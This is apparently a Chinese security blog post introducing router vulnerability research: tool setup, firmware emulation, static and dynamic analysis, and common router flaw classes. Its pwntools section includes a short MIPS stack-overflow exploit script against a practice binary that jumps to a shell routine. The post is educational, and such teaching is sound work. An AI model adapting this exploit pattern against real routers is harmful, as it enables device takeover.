手把手玩转路由器漏洞挖掘系列 – 基础入门

手把手玩转路由器漏洞挖掘系列 – 基础入门

原创 B2eFly 山石网科安全技术研究院 2023-06-16 10:49

#01

「 介绍 」

路由器设备作用家用网络中最常见的设备,给人们带来便利的同时也隐藏了诸多安全漏洞。本篇文章将从漏洞环境搭建、模拟、动态与静态调试等多方面入手,手把手玩转家用路由器漏洞挖掘。

#02

「 环境搭建」

2.1 系统配置

操作系统: Ubuntu 20.04

内存: > 4GB

硬盘大小: >100GB

2.2 工具安装

  • Binwalk – 分析路由器固件

  • Buildroot – 编译不同架构设备工具链

  • Qemu – 模拟程序运行

  • Pwntools – 编写漏洞利用脚本框架

2.2.1 系统源

更换源

$ sudo vim /etc/apt/sources.list$ sudo apt-get update

源内容

# 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiversedeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiversedeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse# # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiversedeb http://security.ubuntu.com/ubuntu/ jammy-security main restricted universe multiverse# deb-src http://security.ubuntu.com/ubuntu/ jammy-security main restricted universe multiverse# 预发布软件源,不建议启用# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-proposed main restricted universe multiverse# # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-proposed main restricted universe multiverse

2.2.2 Binwalk安装

Binwalk是一个快速、易于使用的工具,用于分析、逆向工程和提取固件映像。

建议源码安装!!!

$ git clone https://github.com/ReFirmLabs/binwalk.git$ sudo ./dep.sh #安装binnwalk工具依赖$ sudo python3 setup.py install

报错
– 缺少python

$ sudo apt-get install python -y
  • 出现 Unable to fetch some archives, maybe run apt-get update or try with –fix-missing?
$ sudo apt-get update --fix-missing
  • 缺少pip
$ sudo apt-get install python3-pip -y

2.2.3 交叉编译工具链 – Buildroot

Buildroot是一个简单、高效且易于使用的工具,通过交叉编译生成嵌入式Linux系统。

下载

Buildroot – Making Embedded Linux Easy

安装

$ sudo apt-get insatll install libncurses5-dev -y$ tar zxvf buildroot-*.tar.gz$ cd buldroot*$ make menuconfig #配置选择嵌入式架构

编译

$ make V=s

交叉编译工具链生成路径

$ ./buildroot/output/host/bin/*-linux-gcc

编译一个简单mips程序

#include <stdio.h>int main(int argc,char *argv[]){    printf("Hello World!");    return 0;}//mips-linux-gcc hello.c -o hello --static

2.2.4 Qemu安装

QEMU是一个通用的开源机器和用户空间模拟器和虚拟化器。

安装

$ sudo apt-get install qemu-user-static qemu-user -y

运行

$ qemu-mips-static ./hello

2.2.5 Pwntools安装

Pwntools是一个CTF框架和开发库。它是用Python编写的,用于快速原型设计和开发,旨在使开发编写尽可能简单。

安装

$ pip install pwntools -i https://pypi.douban.com/simple

使用 – 例子

from pwn import *name = "./pwnable/Intro/stack_bof_01"libc_base = 0x7f6e5000  #libc.so.0gadget_addr = libc_base + 0x6b20 # lw $t9,0($sp) jalr t9offset = 204dat_shell = 0x400950payload = b'A' * offsetpayload += p32(gadget_addr)payload += p32(dat_shell)p = process(['chroot','.','./qemu-mipsel-static','-L','.',name,payload ])context.endian = "little"context.arch = "mips"p.interactive()

2.3 常见固件模拟仿真框架

  • Firmadyne

对基于Linux的嵌入式固件进行仿真和动态分析的自动化和可扩展系统
– FirmAE – (Firmadyne改进版)

FirmAE是一个完全自动化的框架,用于执行仿真和漏洞分析。FirmAE通过五种仲裁技术显著提高了模拟成功率(从Firmadyne的16.28%提高到79.36%)。
– Qiling

一种先进的二进制仿真框架,基于Unicorm进行改进及优化。

#03

「 漏洞分析方式 」

3.1 静态分析

静态分析是一种通过在不运行程序的情况下对代码进行检查来识别代码中潜在问题和错误的技术。它可以被用来发现代码中的漏洞、缺陷和安全问题等。

工具选择
– IDA

商用 -DataRescue公司出品的一款交互式反汇编工具 – 建议版本大于等于7.5(7.5版本以上支持MIPS反汇编)
– Ghidra

开源 – Ghidra 是由美国国家安全局(NSA,National Security Agency)的研究理事会为 NSA 的网络安全任务开发的软件逆向工程(SRE)框架,它有助于分析恶意代码和病毒等恶意软件,并可以让网络安全专业人员更好地了解其网络和系统中的潜在漏洞。
– Binary Ninja

商用 – Binary Ninja是一个由逆向工程师为逆向工程师构建的交互式反编译器、反汇编程序、调试器和二进制分析平台。

举例

分析某个文件。

3.2 动态分析

动态分析是一种在程序运行时对其进行检查和调试的技术。与静态分析不同,动态分析需要使用实际的输入和环境来运行程序并监视其行为。

工具
– gdb-multiarch

GNU调试器(GDB)的一个变种,它支持多种架构的程序调试。与标准的GDB不同,gdb-multiarch可以调试多个不同的体系结构上的二进制文件,包括x86、ARM、MIPS和POWER等。它是在跨平台开发和嵌入式系统开发中非常有用的工具。

举例

动态调试

$ qemu-arm-static -g 1234 ./arm_pwn3

#04

「 常见漏洞分类 」

4.1 认证和授权漏洞

攻击者可以利用弱密码、默认用户名或通过其他手段绕过认证来入侵路由器,并获取管理员权限,从而使得路由器暴露在严重的安全威胁下。

4.2 服务端口漏洞

路由器通常会开放多个服务端口,例如HTTP、Telnet、FTP等。这些服务容易受到攻击者的攻击,以及针对特定服务的漏洞攻击。例如,攻击者可能会利用已知的远程执行代码(RCE)漏洞,通过Telnet或FTP服务入侵路由器。

4.3 Web界面漏洞

路由器的Web界面通常是管理和配置路由器的主要途径。如果Web界面存在漏洞,攻击者就可以通过Web界面攻击路由器,例如通过跨站脚本(XSS)攻击来窃取管理员凭据。

4.4 无线安全漏洞

路由器上的无线网络广播信号通常是公共的,因此无线网络容易受到黑客和恶意用户的攻击。攻击者可以通过各种方式进入网络,例如破解WEP和WPA加密、钓鱼攻击等。

4.5 物理攻击

路由器通常存放在易受物理攻击的场所,例如公共区域或未锁定的机柜中。攻击者可以利用这些漏洞,例如通过重置路由器或拆卸设备来获取管理员权限。

#05

「 总结 」

路由器漏洞挖掘是一个相对复杂与繁琐的过程,需要具备多种技能和经验。本篇作为漏洞挖掘系列的第一篇,主要帮助初学者对路由器漏洞挖掘有个基础的认知,后续的文章将从实战出发,复现、挖掘设备存在的漏洞。